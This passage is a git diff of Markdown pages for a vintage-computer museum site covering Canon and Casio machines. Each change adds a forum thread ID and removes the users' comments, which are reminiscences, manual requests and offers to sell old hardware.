ahead of its time...allowing you to jump to any word or letter combination in your doc. One bad thing was the disk formatting. If you weren''t careful, you could easily overwrite your disk with the few words you had on the screen. Love the cat. Still have it. In a world where the only competition was machines that let you edit and see three lines at a time, the cat was king! - - author: Antoinette Menne (New Orleans, LA, USA) - date: Wednesday 10th November 2010 - text: |- - Hey, I hope you will still be notified of this, but I have a Canon Cat and printer that are still in working condition. I just took them out of storage about a month ago. I was so surprised that it worked. I just posted a craigslist ad for it.\ - http://neworleans.craigslist.org/sys/2053690446.html (computers $ tech) - - Shoot me an email if you (or anyone who reads this!) might be interested! - - author: Ruth M. Moser (USA) - date: Wednesday 18th October 2006 - text: I have a Canon Cat, which I love. It's admittedly a dinosaur, but it's very easy to use, and very useful for some purposes. I'm wondering whether there might be a working model available somewhere, that i could buy. Mine won't last forever, and I'll be heartbroken when it gives up the ghost. oc_id: 642 source: url: https://web.archive.org/web/20230608161648/http://www.old-computers.com/museum/computer.asp?c=642 diff --git a/content/museum/canon-cx-1-bx-3.md b/content/museum/canon-cx-1-bx-3.md index 1f2e1ef7..21c41e7b 100644 --- a/content/museum/canon-cx-1-bx-3.md +++ b/content/museum/canon-cx-1-bx-3.md @@ -60,6 +60,7 @@ params: - photos - adverts - docs + forum_thread: 114 photos: - title: CX-1 subtitle: '' @@ -102,65 +103,6 @@ params:  type of document : Online reader **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Ronald W Coon Jr (US) - date: Sunday 14th March 2021 - text: If anyone still has original disk. Or any good useful programs I would love to archive them for the retro scene. Contact me via email ron.coon.jr@gmail.com Thanks! I can even tell you how to backup the odd MCX disks on a older PC. - - author: Alberto Pellizzari (Italy) - date: Friday 10th July 2015 - text: CX-1 was one of the first computer I worked on, just after Olivetti P6060 and Apple II. I wrote a disassembler to understand how MCX and the utilities worked. It was very instructive, and it was a lot of time ago. - - author: Martti Saukkonen (Finland) - date: Sunday 7th June 2015 - text: My first Computer too. Everything start with this. Had no acknowledge of how a Computer works. We had this on board mv Finnarctis 1982. My original job was wireless operator and I was very curios of the Computers. So, I learned the OS and looked at code in the programs and finally I managed to program some on board needed porgs. I also have a fully functioning CX-1 at home, nice piece. - - author: Steve (Australia) - date: Friday 12th April 2013 - text: I remember this computer well, I was working at Canon Australia at the time writing software. I wrote a word processor for it which was sold with it. This was back in the days that the hardware supplier also had to have a library of software because each system had their own unique OS version. - - author: Patrick Sweetman (New Zealand) - date: Sunday 21st October 2012 - text: The BX-3 and CX-1 had a ROM at the top of memory, above 0xF000, that contained the integrated debugger and library routines that were called by software. The video memory was in the top 32k, and there was a premium CX-1 version that had an extra bank of 32k RAM that was bank-switched by software. - - author: Arttu (Finland) - date: Friday 8th June 2012 - text: Like Ronald, CX-1 was my first computer I ever used. Eventually I learned every single detail of it and ended up writing commercial software. I developed a close relationship with local Canon offices and they connected me with their customers if they had a problem to solve with a custom software. Along with CX-1, I wrote programs to TX-25, AS-100, and the X-07 portable. Also, like Ronald, I own a fully functioning unit and it will be buried with me :) - - author: Jan (Stockholm) (Sweden) - date: Friday 2nd March 2012 - text: I serviced, supported and programmed the Canon computers from 1980 up to mid 1998. Includes AX-1, BX-1, CX-1, BX-3, TX-10, TX-15, TX-25, AS-100, AS-300 and all the PC-clones that Canon produced. After that I programmed printer drivers for all sorts of applications and mainly for the Canon LBP-printers. From 1990 I worked with Canon Colour Laser Copiers and the various printing RIP''s of Canon and EFI brnds. - - author: Dirk - date: Friday 10th February 2012 - text: I sold the BX 1 . - - author: Dirk - date: Friday 10th February 2012 - text: I sold the BX 1 . - - author: Amling Dirk (The Netherlands) - date: Tuesday 22nd June 2010 - text: |- - I own a 1979 Canon BX-1 that really works fine. I am desperately looking for a user manual. If anyone can help please mail to dirkamling@gmail.com\ - For pictures please send me an email. - - author: George (Greece) - date: Thursday 7th May 2009 - text: |- - i have one cx-1 and it works very well, with a dot matrix printer and with all floppy disks and i want to shell it\ - how mucth money can sell it???\ - if anyone knows to tell me one good price.\ - my mail is GArchitect1@Gmail.com. thanx - - author: Basil Scott (Perth, Australia) - date: Thursday 11th December 2008 - text: |- - I have a Canon CX-1 with a dot matrix printer (with tractor!) which appears to be OK. I''d like to sell it (rather than bin it) or find some disc''s or disc images I can use on it. - - Anyone got some help? - - author: Terry Payne (Perth Australia) - date: Friday 7th December 2007 - text: |- - I cut my teeth on the cx-1 and still have some disks and printouts from those days. It was and still is the most indestructible computer I've worked on. One client complained it wouldn't boot and I found the oxide on the disk had worn away to the clear substrata! Despite this it was possible to do a disk copy and create a new boot disk.\ - Note the disks were 'coded' so only canon disks worked. - - author: Ronald Coon (Toledo, Ohio) - date: Wednesday 31st October 2007 - text: |- - I have several fond memories of this machine. Being the first computer I have ever used. I used it to its fullest potental. To this day it still operates in my garage / old computer museum. I have almost all the components for the unit including the 8" dual floppy disk addition. FD0: FD1: FD2: FD3: wow what storage. I will be posting more information on the unit and if possiable I'll get the manual scaned and PDF'd on the website for achival purposes. I've written so many programs on this unit form Boy Scout dues and rank rosters all the way up to modern business programs for customer databases.\ - Lets say its one of the most solid machine and will remain with me until I die. - - author: Simon Schoonens (Australia) - date: Tuesday 11th October 2005 - text: This was my introduction to the Basic Language AND a proper screen. I had progressed from the earlier Canon, the AX-1 which only had a 16 character display but this machine was a revelation. It featured a proper operating system (instead of assembly as the earlier machine was). The operating system was MCX (I know is says here it was similar to CPM but I thought it more like an early version of MS-Dos, I understood that Canon had bought this from the company that sold Bill Gates his copy) anyway the 320K floppies were massive for us, upgrading from 65K floppies... I wrote my first motor dealers package on this machine 'VEDAC' - The GL and the operating system were on the A drive (the bottom drive) and the other ledgers were on the B drive - the operator was asked to swap disks when a different ledger was required. It worked well and sold well. I remember some clients required 13 disks for a single backup. Overall a very good and reliable machine. Fond memories. oc_id: 100 source: url: https://web.archive.org/web/20230606201343/http://www.old-computers.com/museum/computer.asp?c=100 diff --git a/content/museum/canon-object-station.md b/content/museum/canon-object-station.md index c9644125..643e458e 100644 --- a/content/museum/canon-object-station.md +++ b/content/museum/canon-object-station.md @@ -60,20 +60,11 @@ params: value: \~$4000 tabs: - links + forum_thread: 1123 links: - title: Object.station complete specifications url: http://www.geocities.com/next_infopage/pdf/canon.pdf text: .pdf file - comments: - - author: Falkon215 (Milwaukee) - date: Saturday 11th February 2017 - text: Still have a number of old computer and game systems,Apple IIc,Apple IIe,atari 2600,pong systems,Intellivision,nintendo.Love messing with old systems.had a Canon Objectstation computer with windows 3.0 it was my first dive into ibm/windows based systems. - - author: declan donohue (england) - date: Monday 7th April 2008 - text: i really like this machine and it was my first proper computer. i kept the pre-installed os on it for a year and then upgraded it to 95 later on. a great pc for the ninties it does canon proud. - - author: jon (alabama) - date: Sunday 3rd December 2006 - text: the last real looking computer of the 90's :( oc_id: 1153 source: url: https://web.archive.org/web/20230605040513/http://www.old-computers.com/museum/computer.asp?c=1153 diff --git a/content/museum/canon-v-10.md b/content/museum/canon-v-10.md index 97a56f25..1ee2f861 100644 --- a/content/museum/canon-v-10.md +++ b/content/museum/canon-v-10.md @@ -63,6 +63,7 @@ params: - hardware - emulators - links + forum_thread: 566 adverts: - title: JAPANESE ADVERT subtitle: '' diff --git a/content/museum/canon-v-20.md b/content/museum/canon-v-20.md index d8e795c5..ddbebcbd 100644 --- a/content/museum/canon-v-20.md +++ b/content/museum/canon-v-20.md @@ -64,6 +64,7 @@ params: - hardware - emulators - links + forum_thread: 424 photos: - title: CANON V-20 subtitle: '' @@ -225,37 +226,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Shadow_Warrior (Spain) - date: Thursday 24th May 2012 - text: |- - Hello Spyros and Lewis Collard, - - I think he has been reading what''s said around here (that could be the origin of this mistake): - - http://museo8bits.com/ficha.php?nombre$canon_v20 - - Where you can find this at the "Varios" paragraph:"Pero en donde destaca es en la interfaz para una cámara digital (uno de los puntos fuertes de Canon) que permite capturar imágenes e incluso vídeo". - - It means: "where it stands out is on the interface for a digital camera (one of the Canon strengths) which lets to capture pictures and even video". - - author: Spyros (Greece) - date: Friday 30th March 2012 - text: It is not true that this computer -or any other computer- could download pictures from the T90 camera. It was a film-only camera, so in order to get any picture from it into a computer, you would have to digitize it first, using a scanner. What the Data Memory Back actually did was to store shot variables (eg. exposure, viewfinder) and perhaps to imprint them on the photo film in the form of red numbers, like many cameras did at the time. - - author: Lewis Collard (England) - date: Saturday 19th June 2010 - text: |- - I had sent in a correction by email, but I''m sure the Internet ate it, so here goes. The summary reads: - - $it was able to receive photos from the T90 Canon camera with the Data Memory Back T90 expansion $...$ and download pictures, as you can do now with a digital camera! - - The Data Memory Back was entirely unlike a digital camera$ it recorded shooting data like time, shutter speed, aperture, metering mode, etc, but no image as such. It does an entirely different job to a digital back with an imaging sensor. - - author: Francisco Martín (Madrid, España (Madrid, Spain)) - date: Friday 12th September 2008 - text: |- - Hello you all, this "little" MSX1 has one secret, it was able to receive photos from the T90 Canon camera with the Data Memory Back T90 (which allowed to connect the camera to this MSX (ok, to the MSX standard, although it was intended to be used with this Canon MSX) and download pictures, as you can do now with a digital camera).\ - As much as I learnt about the MSX, as much as I''m surprised, in my country MSX was not the most extended computer but I have to recognise that it was a superb standard. - - Greetings from Spain !!! related: - /museum/canon-v-10 - /museum/canon-v-8 diff --git a/content/museum/canon-v-25.md b/content/museum/canon-v-25.md index 5334c18f..ac60edea 100644 --- a/content/museum/canon-v-25.md +++ b/content/museum/canon-v-25.md @@ -58,6 +58,7 @@ params: - photos - emulators - links + forum_thread: 426 photos: - title: CANON V-25 subtitle: '' diff --git a/content/museum/canon-v-8.md b/content/museum/canon-v-8.md index 4769da88..dbea0dc4 100644 --- a/content/museum/canon-v-8.md +++ b/content/museum/canon-v-8.md @@ -54,6 +54,7 @@ params: - hardware - emulators - links + forum_thread: 425 hardware: - title: NATIONAL CF-2131 subtitle: 16 KB RAM expansion diff --git a/content/museum/canon-x-07.md b/content/museum/canon-x-07.md index f5de2baa..a49d93d5 100644 --- a/content/museum/canon-x-07.md +++ b/content/museum/canon-x-07.md @@ -66,6 +66,7 @@ params: - software - links - docs + forum_thread: 268 photos: - title: JAPANESE X-07 subtitle: '' @@ -366,44 +367,6 @@ params:  type of document : PDF\  size : 12.8 MB\  source : [www.silicium.org](http://www.silicium.org) - comments: - - author: balvenie (France) - date: Sunday 14th April 2013 - text: |- - Hello Giovanni.\ - I have one working with printer and memory card 4k.\ - Are you still interested ? - - balvenie@yopmail.com - - author: giovanni (Italia(PALERMO)) - date: Friday 13rd April 2012 - text: hello i am giovanni i search a canon-X07 can you help me ??, i want to buy one, i read in old-computer thath Jessica(AUS) have two of this ,if she want can write to my email and say me something ,how much and so one tahnk you for read me - - author: giovanni (Italia(PALERMO)) - date: Friday 13rd April 2012 - text: i wanted a canon -X07 i read that Jessica (AUS) have two of this i want to buy one ,can you help me??thank you - - author: canon - date: Tuesday 27th September 2011 - text: Hallo, where to get memory card and expansion video box ? - - author: Jessica (AUS) - date: Tuesday 19th October 2010 - text: I have two X-07 canon handheld in original packaging with manuals if anyone''s interested - - author: Touby (Schweiz) - date: Sunday 17th October 2004 - text: |- - i'm looking informatins about the parallel and serial i/o. for high / low level programming. - - thanks - - author: thierry (France) - date: Saturday 24th January 2004 - text: |- - Je recherche quelques logiciels et listings pour un canon x-07, et un schema de son electronique car la cassette s'arrete trop tot avec la fiche remote (tempo du relais) svp !\ - Merci d'avance ! - - author: JJ (NL) - date: Wednesday 31st December 2003 - text: |- - Who can mail me a scan of the Canon X-07 manual?\ - Or maybe you have a X-07 manual and want to send it to me?\ - All other X-07 parts such as memory cards, printer et cetera wanted! oc_id: 258 source: url: https://web.archive.org/web/20230608221120/http://www.old-computers.com/museum/computer.asp?c=258 diff --git a/content/museum/casio-fp-1000-fp-1100.md b/content/museum/casio-fp-1000-fp-1100.md index aa6d1440..39704f3d 100644 --- a/content/museum/casio-fp-1000-fp-1100.md +++ b/content/museum/casio-fp-1000-fp-1100.md @@ -71,6 +71,7 @@ params: - adverts - hardware - connectors + forum_thread: 115 photos: - title: MAIN UNIT CLOSE-UP subtitle: '' @@ -131,39 +132,6 @@ params: Thanks to **Guido Zeiger** image: /media/museum/connectors/casio_fp1000_din5_s1.jpg - comments: - - author: Bernard Van Haecke (USA) - date: Sunday 18th February 2018 - text: I only had the dual 5 1/4 floppy drive unit. I connected it to my Sinclair ZX Spectrum with some floppy interface bought in the UK. The drives made a funny noise when starting up. Also had a slightly newer Casio keyboard model and hacked the PCB traces to connect it to the Spectrum mainboard. I wish I could play with these again. - - author: VITAS - date: Thursday 30th May 2013 - text: I still have a FP1100. I saved it in 96 when my school was throwing them out. Sometimes i play with it when i want some retro feeling :) - - author: Joscelyn Flores (France) - date: Friday 4th January 2013 - text: 'Now that Youtube exists, I found it funny to upload a couple of Casio demos and games running on my FP-1100. You can find them on my Youtube channel : http://www.youtube.com/user/monolith7777777/videos' - - author: Marco G (Portugal) - date: Saturday 21st April 2012 - text: |- - This was the first PC I laid my hands on ! - - With a FP-1000, I learned BASIC and Pascal and got my first programmer diploma at the age of 12. - - author: Hamed Abulfatih (Bahrain) - date: Thursday 11th August 2011 - text: this brings back lots of good memories! it was the first PC I ever used and I was 7 years old :) made me love IT. I remember running lotus 123, paratrooper and microsoft flight sim! - - author: EPROM 9 (England) - date: Friday 10th June 2011 - text: One thing that is not noted here is the Casio FP 1100 computer could also support Dual CPU. I don''t know if it was standard for that model. It was at least an option. - - author: Juergen Leibner (Bielefeld, Germany) - date: Sunday 13rd August 2006 - text: |- - I owned a FP-1100 with several extensions from 1986 until 2006. Then it was recycled :-(\ - But the compolete Systemsoftware and documentation is still available. Feel free to mail me for information about. - - author: Joscelyn Flores (Paris, France) - date: Monday 23rd August 2004 - text: I still have an FP-1100 with dual floppy drive in perfect working condition. I was wondering if there was any known way to read back FP-1020FD floppies on a PC ? I have lots of software to share. Also, it would be nice to gather homemade software made by others. Since there is almost no information on this computer (also on FP-200 and 6000 by the way), I am projecting to create a website dedicated to these computers. I have all the user AND service manuals - I only must find the time to scan them :) - - author: Rui M. Dos santos (Luanda-Angola-Africa) - date: Monday 3rd February 2003 - text: I sold several FP1000/1100 Casio´s in Angola. I developed for them a number of business aplications made in COBOL running under CP/M.. These machines were the more reliable I ever sold, owned and used in my life. Many years of intense work in harsh enviroments and NONE of the around 50 machienes I sold ever broke down...AND I can tell you that they REALLY worked hard.... AT the time the configuration I used used to have two 8 inch high density FDD....GREAT MACHINE ..... oc_id: 101 source: url: https://web.archive.org/web/20230605035633/http://www.old-computers.com/museum/computer.asp?c=101 diff --git a/content/museum/casio-fp-200.md b/content/museum/casio-fp-200.md index 6b50bf71..fc6ea1be 100644 --- a/content/museum/casio-fp-200.md +++ b/content/museum/casio-fp-200.md @@ -61,6 +61,7 @@ params: tabs: - adverts - hardware + forum_thread: 366 adverts: - title: FRENCH AD (DEC.1983) subtitle: '' @@ -71,30 +72,6 @@ params: subtitle: '' text: The 5"1/4 disk drive (70k) and the 4 colours plotter image: /media/museum/hardware/casio_extensions.jpg - comments: - - author: Gokul Dev (India) - date: Sunday 6th June 2021 - text: I have one in my hand., but it is not working.. - - author: Michele (Italy) - date: Tuesday 20th November 2012 - text: Ciao Riccardo, piacerebbe anche a me realizzare l''espansione da 64k , gentilmente potresti contattarmi? il mio indirizzo email e'' mailbox@piemmeweb.com grazie! - - author: Joscelyn (France) - date: Tuesday 30th October 2012 - text: 'Ciao Riccardo, puoi forse aiutarmi a costrurre la stessa espansione di te ? Molte Grazie ! il mio mail : joscelyn.flores@gmail.com' - - author: Riccardo (It) - date: Monday 23rd April 2012 - text: Simpatica e funzionale la porta seriale, poca Ram, ho autocostruito una espansione collegando delle 6264. :-) - - author: Maurizio (Italia) - date: Thursday 7th July 2011 - text: Io ho un esemplare non funzionante, qualcuno può aiutarmi? - - author: pascal (france) - date: Saturday 11th September 2004 - text: |- - je recherche l'adresse memoire pour lire et ecrire sur le port imprimante\ - merci de m'envoyer une reponse a mon email - - author: Stefano (Italy) - date: Thursday 20th May 2004 - text: Hello, is it possible to find some documentation about the Casio FP-200? oc_id: 364 source: url: https://web.archive.org/web/20230605042211/http://www.old-computers.com/museum/computer.asp?c=364 diff --git a/content/museum/casio-fp-6000.md b/content/museum/casio-fp-6000.md index 6b78af10..be6ca22f 100644 --- a/content/museum/casio-fp-6000.md +++ b/content/museum/casio-fp-6000.md @@ -74,6 +74,7 @@ params: - photos - adverts - hardware + forum_thread: 801 photos: - title: 'SYSTEM #1' subtitle: '' @@ -163,26 +164,6 @@ params: subtitle: '' text: '' image: /media/museum/hardware/casio_fp6000_fdbox_s1.jpg - comments: - - author: Rui Santos (Angola) - date: Tuesday 26th November 2019 - text: |- - I used Casio FP6000 for some years. All software developed for the FP 1000 in Cobol and CP/M was re-done for MS-Dos FP 6000. Faster and with an Hard Drive.\ - Book Keeping, Stock Control, Human Resources and a number of other aplications. - - author: Joscelyn Flores (France) - date: Tuesday 26th November 2019 - text: |- - Hi Polyfusion, I can help you out. I have some documentation that I need to scan and send to you. Please contact me at joscelyn (dot) flores (at) gmail.com\ - Cheers - - author: polyfusion (Ireland) - date: Monday 9th September 2019 - text: I recently \*saved\* a FP-6000 box and FP-6028 box from an e-waste skip at my place of work, no other items (yet), no keyboard or monitor. Does anyone have any documentation for this equipment? - - author: Joscelyn Flores (France) - date: Friday 4th January 2013 - text: 'Now that Youtube exists, I found it funny to upload a (very) short video of my Casio FP-6000 running part of the demo I am talking about in the description$ here it is : http://www.youtube.com/watch?v$U06c5cdNVoM' - - author: Joscelyn Flores (Paris, France) - date: Monday 23rd August 2004 - text: Hi, I was wondering if someone had parts for this computer ? I have one, but one of the har disks has failed, and I am missing a printer cable and a RAM board... I would be glad to share some programs that work on this computer! oc_id: 820 source: url: https://web.archive.org/web/20230606202107/http://www.old-computers.com/museum/computer.asp?c=820 diff --git a/content/museum/casio-fx-700p.md b/content/museum/casio-fx-700p.md index 006a9e05..8d95dc4e 100644 --- a/content/museum/casio-fx-700p.md +++ b/content/museum/casio-fx-700p.md @@ -63,6 +63,7 @@ params: tabs: - photos - links + forum_thread: 976 photos: - title: FRONT VIEW subtitle: '' @@ -79,27 +80,6 @@ params: - title: The Pocket Computer Museum url: http://pocket.free.fr/ text: The site to visit for pockets computers ! - comments: - - author: Bruno Chatard (Switzerland) - date: Tuesday 12th April 2022 - text: The blue F key of the FX-700 presses a switch on the keyboard which was also present on the PB-100. It had become common among students to drill the PB-100 of the time to add this handcrafted F key and thus inherit the accelerated entry of the mathematical functions (SIN, COS, etc.). - - author: Carl Holmberg (USA) - date: Friday 21st January 2022 - text: 'As Ivan says, the interior of the MK-85 has nothing in common with the Casio, using the KA1013VM1 processor, one of a family that grew out of the original DEC LSI-11 cpu clone. The PDP roots ran deep: it can be programmed in the DEC assembly language MACRO-11. Using an N-Queens benchmark, BASIC 10m45s, fast mode BASIC 2m, assembly 1.22s, fast mode assembly 0.22s.' - - author: Ivan Mikhailov - date: Thursday 13rd August 2015 - text: |- - Two corrections:\ - 1\. In Russian, MK stands for "microcomputer".\ - 2\. MK-85 has the body cloned from Casio but it''s absolutely different inside. MK-85 is 16-bit and it''s compatible (to a degree) with DEC PDP boxes. E.g. one of its variations was used for strong cryptography (to wire money transfers via unsafe public networks). - - Original design of MK-85 (with misleading name MK-87) has nothing common with Casio: http://www.computerra.ru/upload/apismenny/elektronika-mk-87-1.jpg - - author: Joe Jack Johnson (So-Cal.) - date: Saturday 14th February 2015 - text: |- - This was cloned down to the buttons by the Soviets as the Elektronika MK-85....probably had different guts (the Soviets had round microchips for calculators for some reason.) - - "MK" stands for "mark." Elektronika was a stock name for electronic gadgets made in the USSR that weren''t radios. related: - /museum/casio-fx-702p - /museum/casio-pb-100 diff --git a/content/museum/casio-fx-702p.md b/content/museum/casio-fx-702p.md index 8ed495bd..8c04582d 100644 --- a/content/museum/casio-fx-702p.md +++ b/content/museum/casio-fx-702p.md @@ -65,6 +65,7 @@ params: - adverts - hardware - links + forum_thread: 961 photos: - title: FRONT VIEW subtitle: '' @@ -134,44 +135,6 @@ params: - title: The Pocket Computer Museum url: http://pocket.free.fr/ text: The site to visit for pockets computers ! - comments: - - author: Jay (Canada) - date: Thursday 28th December 2017 - text: Hello, I have FX-702 . Its still working in good condition. I still have operating instruction in Japanese language . I bought this in Nagoya Japan in 1980. - - author: Vexi (Finland) - date: Monday 2nd November 2015 - text: Hi! I have FX-702P with FP-10 electrostatic printer and FA-2 Storage interface. Interested? voaa(at)hotmail.com - - author: AnthonyTan (china) - date: Saturday 14th June 2014 - text: I want to ask how to manage molds in the cover of LCD? please if you have some time give me some answer and send to my email. 16xcore@gmail.com Thank you sooooo much guys :( - - author: ronald (Nederland) - date: Saturday 3rd November 2012 - text: |- - I have still a good working FX-702P - - Anybody interested ? - - author: David - date: Thursday 16th August 2012 - text: Guys I''m desperately looking for a display for my FX-702P, anybody could help me please ? Thanks a million ! - - author: David - date: Thursday 16th August 2012 - text: Guys I''m desperately looking for a display for my FX-702P, anybody could help me please ? Thanks a million ! - - author: Gustavo Avellar (Belo Horizonte - MG - Brasil) - date: Saturday 23rd September 2006 - text: |- - You can find the manual for this calculator on this link:\ - http://pocketcomputerworld.free.fr/Manuals/FX-702P.pdf - - author: Lupus (Brazil) - date: Monday 11th July 2005 - text: |- - Hi Paolo,\ - Did you get the manual? I am looking for one too!!!\ - Lupus - - author: PAOLO GUENZI (BOLOGNA (ITALIA)) - date: Thursday 25th November 2004 - text: |- - I WANT ABSOLUTLY FUOND AN USER MANUAL OF CASIO FX-702P.WHO CAN HELP ME?I'M ESPECIALLY SEARCHING A MANUAL OF BASIC LANGUAGE.\ - TANK YOU! related: - /museum/casio-fx-700p - /museum/casio-pb-100 diff --git a/content/museum/casio-fx-9000p.md b/content/museum/casio-fx-9000p.md index b1d7396d..cae60419 100644 --- a/content/museum/casio-fx-9000p.md +++ b/content/museum/casio-fx-9000p.md @@ -66,6 +66,7 @@ params: - photos - adverts - hardware + forum_thread: 743 photos: - title: LARGE VIEW subtitle: '' @@ -160,31 +161,6 @@ params: subtitle: '' text: '' image: /media/museum/hardware/casio_fx9000p_expmodule_s1.jpg - comments: - - author: Israel (Barcelona/Spain) - date: Wednesday 7th May 2014 - text: I have one PC for send of Casio FX-9000P if somebody want buy it only send me an e-mail oasisrael@gmail.com. thanks - - author: Joscelyn Flores (France) - date: Monday 7th January 2013 - text: |- - Here is a short demo of a running FX-9000P : http://www.youtube.com/watch?v$JqWmZtHdsAA - - By the way, if someone has the SERVICE manual of this unit, please get in touch : joscelyn.flores@gmail.com - - Thanks ! - - author: Ren (Earth) - date: Saturday 17th March 2007 - text: |- - I learned BASIC on this computer in school... This is who I played with in my free time, no football, no baseball, just me and this machine :D\ - Nice memories... - - author: Joscelyn (Paris, France) - date: Thursday 17th July 2003 - text: |- - Hi,\ - I am interested in this vintage piece of hardware and any options available. Please contact me : jflores@wanadoo.fr - thanks ! - - author: Mike (Earth) - date: Thursday 9th January 2003 - text: This was actually my home pc. I got it as a gift, and I wrote a Drawing program, a Perpetual calendar program, as well as several math programs including Graphic-Calculator style graphing and a Mandelbrot generator oc_id: 760 source: url: https://web.archive.org/web/20230608080130/http://www.old-computers.com/museum/computer.asp?c=760 diff --git a/content/museum/casio-loopy-my-seal-computer-sv-100.md b/content/museum/casio-loopy-my-seal-computer-sv-100.md index beace842..326018ab 100644 --- a/content/museum/casio-loopy-my-seal-computer-sv-100.md +++ b/content/museum/casio-loopy-my-seal-computer-sv-100.md @@ -13,6 +13,7 @@ params: - hardware - software - links + forum_thread: 755 photos: - title: CASIO LOOPY LOGO subtitle: '' @@ -140,13 +141,6 @@ params: - title: Nobori's Club website url: http://nobori-s-club.hp.infoseek.co.jp/lup.htm text: Nice pictures - comments: - - author: Loopy - date: Wednesday 22nd March 2017 - text: It''s Grubby! err um... It''s Loopy! - - author: Heikki (Italy) - date: Tuesday 9th November 2004 - text: 'I once read about it in a Italian magazine (they used to make long reports aboput Japanese toy fairs): they said it was originally intended as a toy to make stickers (hence the printer on the side) and at the time no proper games were available.' oc_id: 774 source: url: https://web.archive.org/web/20230602114648/http://www.old-computers.com/museum/computer.asp?c=774 diff --git a/content/museum/casio-mx-10-mx-101.md b/content/museum/casio-mx-10-mx-101.md index 199fe9c9..d21d70d6 100644 --- a/content/museum/casio-mx-10-mx-101.md +++ b/content/museum/casio-mx-10-mx-101.md @@ -70,6 +70,7 @@ params: - hardware - emulators - links + forum_thread: 569 photos: - title: KEYBOARD CLOSE-UP subtitle: '' @@ -242,13 +243,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - we can run zx spectrum 48k and one 128k programs at 6mhz please help related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/casio-pb-100.md b/content/museum/casio-pb-100.md index 848a11bb..f7156a8c 100644 --- a/content/museum/casio-pb-100.md +++ b/content/museum/casio-pb-100.md @@ -70,6 +70,7 @@ params: - links - docs - videos + forum_thread: 974 photos: - title: LARGE VIEW subtitle: '' @@ -139,63 +140,6 @@ params: - title: Casio PB-100 japanese commercial url: https://www.youtube.com/watch?v=-2pD6g66Erc text: 'Length: 14 s' - comments: - - author: Nauman (Washington, DC) - date: Monday 25th April 2011 - text: My father bought it from Saudi Arabia (where he had a civil engineering job in 1982) for me when I was 12 years old. I learned my first programming language, BASIC, on it. Astoundingly enough, 30 years later, it is still the best calculator I''ve ever owned and I still use it. In 30 years, I''ve replaced the batteries twice or three times I think. It is truly a marvel. Who makes technology these days that''ll last 30 years? - - author: Jalmari Raippalinna (Finland) - date: Saturday 4th September 2010 - text: |- - My first computer, taught me programming when I was 8 years old. I ported lunar lander from ZX Spectrum to PB-100 when I was 9 yers old and only now I understand who unbelievably cool that was, I just wanted to play the game back then. - - Now I am a CTO, this computer made the programming my lifestyle! - - author: UZsie (ITA) - date: Monday 17th June 2019 - text: |- - My first PC, I recall two things, a blackjack game crammed in the 544 bytes.\ - And a regularity race among friends where the actual average speed was kept by me using the pb100 as a mere calculator.\ - The first leg we had 30 secs margin, and the guys with 10 secs margin taunted us. They simply lucked out after that, so we won all the other legs. $P - - author: Sean Pead (South Africa) - date: Wednesday 11th January 2017 - text: I had one of these with a dock for a tape recorder to store programs. My brother still has it and it works perfectly still - - author: Sukesh Hoogan (India) - date: Sunday 8th January 2017 - text: One could attach a thermal printer FP-12 to it. - - author: Rikus Combrinck (South Africa) - date: Tuesday 5th April 2016 - text: I got mine as a Christmas gift in 1982 or 1983. I was about 10 at the time and learnt to program in BASIC on it before moving on to a Commodore 64, two or three years later. I still have it in a box somewhere. Great memories! - - author: Dave Tierney (Western Australia) - date: Saturday 12th July 2014 - text: I bought mine in 1983 and loaded it with navigation programmes for off shore-sailing and later used it until 1989 for scheduling transport services. I dug it up again after we moved house, put a couple of new batteries in it and its away working again. All I have to do now is find the book and manual and I''ll have another to play with. - - author: Twilighte (Uk) - date: Wednesday 8th August 2012 - text: |- - I bought a PB-100 from a Truro charity shop in about''85 and it became the fun thing to mess about on whilst in college. I even bought the or-1 later and managed to write a very simple arcade game using / and $ and \_ characters together with $ for the main craft.\ - Unfortunately the on/off button lost coherence one day and I never managed to fix it. It eventually got taken apart and binned but the fond memories still linger, - - author: Dennis (UK) - date: Thursday 19th April 2012 - text: |- - It was on one of these that I learned to program in Basic. With the added memory chip ( extra 2K IIRC ) I turned it into a Pilot Nav Computer. - - In the UK Clive Sinclair then brought out his ZX and Spectrum computers and we never looked back. - - author: Maunu (Estonia) - date: Monday 28th March 2011 - text: |- - In 1992 a guy, who had braught it from abroad, sold it to me. It was helpful to write some programs for routine calculatings at school. Then I forgot it for years, meanwhile it survived a flood...\ - Now I gave it to my child for school computings. Maybe teaching her a little programming and playing with mp3-player as a program saving destination as I have a docking unit also.\ - BTW, any RAM Expansion Pack for sale? $) - - author: Farid (Pakistan) - date: Sunday 25th May 2008 - text: |- - Got one in 1984 ! Learned programming on it and used it for a couple of years before I got my Commodore 64. - - It was small, but you could actually write some very interesting code with it. - - author: alessandro (italy) - date: Saturday 21st April 2007 - text: still have it . it's in poor condition after 5 years of programming during my school period . 0.5K where not really much but I manage to run several program for electronic calculation . good time goes by - - author: Thomas Lienhard (Switzerland) - date: Sunday 21st March 2004 - text: it had a 455kHz ceramic resonator that was used as system clock! related: - /museum/casio-fx-700p - /museum/casio-fx-702p diff --git a/content/museum/casio-pb-1000.md b/content/museum/casio-pb-1000.md index ff00bd55..4460c8a4 100644 --- a/content/museum/casio-pb-1000.md +++ b/content/museum/casio-pb-1000.md @@ -63,6 +63,7 @@ params: - hardware - emulators - links + forum_thread: 1109 photos: - title: RUNNING subtitle: '' @@ -111,84 +112,6 @@ params: - title: Silrun Systems - The home of programmable Casio pocket calculators url: http://www.silrun.de/ text: German and English zipped manuals - comments: - - author: Juergen Leibner (Germany) - date: Wednesday 15th June 2022 - text: Hi, I bought my PB 1000 in 1986 and used it at school and later in the job. It was and is still an awful calculater/computer. It was the first one I owned. I''m still owning it. And sometimes I use it. - - author: Gabriele Ruffini (Italia) - date: Sunday 2nd January 2022 - text: Hi I am a process engineer, during university studies I had a pb 200 and then axpb 1000. I wrote many incredible calculation codes and I suppose I surclassed all owners of hp48. The pb 1000 was really well built and optimized after the experience of the previous casio pocket pc., I really loved it - - author: Per Wallgren (Sweden) - date: Tuesday 4th November 2014 - text: |- - I really liked my PB-1000. I loved to make programs on the calculators. And the PB-1000 was the only one that you could program in assembly. I bought it in them middle of the 